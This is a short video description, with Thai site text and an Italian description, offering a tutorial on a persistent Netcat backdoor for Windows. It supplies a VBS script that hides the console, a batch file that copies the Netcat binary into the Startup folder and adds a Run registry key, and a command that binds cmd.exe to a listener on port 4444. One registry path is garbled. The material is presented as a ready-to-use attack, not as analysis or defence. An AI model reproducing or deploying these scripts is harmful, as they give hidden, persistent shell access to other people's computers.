Create reverse shell with persistance for Windows
ฝัง
- เผยแพร่เมื่อ 10 ก.พ. 2025
- Vediamo come fare una backdoor con Netcat per Windows e accedere in un secondo momento con la persistenza delle regedit che mantengono il file attivo anche dopo il riavvio del pc.
run.vbs (nascondere finestra del cmd):
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "cmd /c run.bat"
oShell.Run strArgs, 0, false
run.bat (copiare nella cartella appdata ed eseguire l'aggiunta della chiave di registro):
COPY program.exe %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\
COPY run.bat %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v AutoRun ^ /t REG_SZ /d "%appdata%
un.vbs" /f
program.exe -lvp 4444 -e cmd.exe
Download Netcat:
joncraton.org/...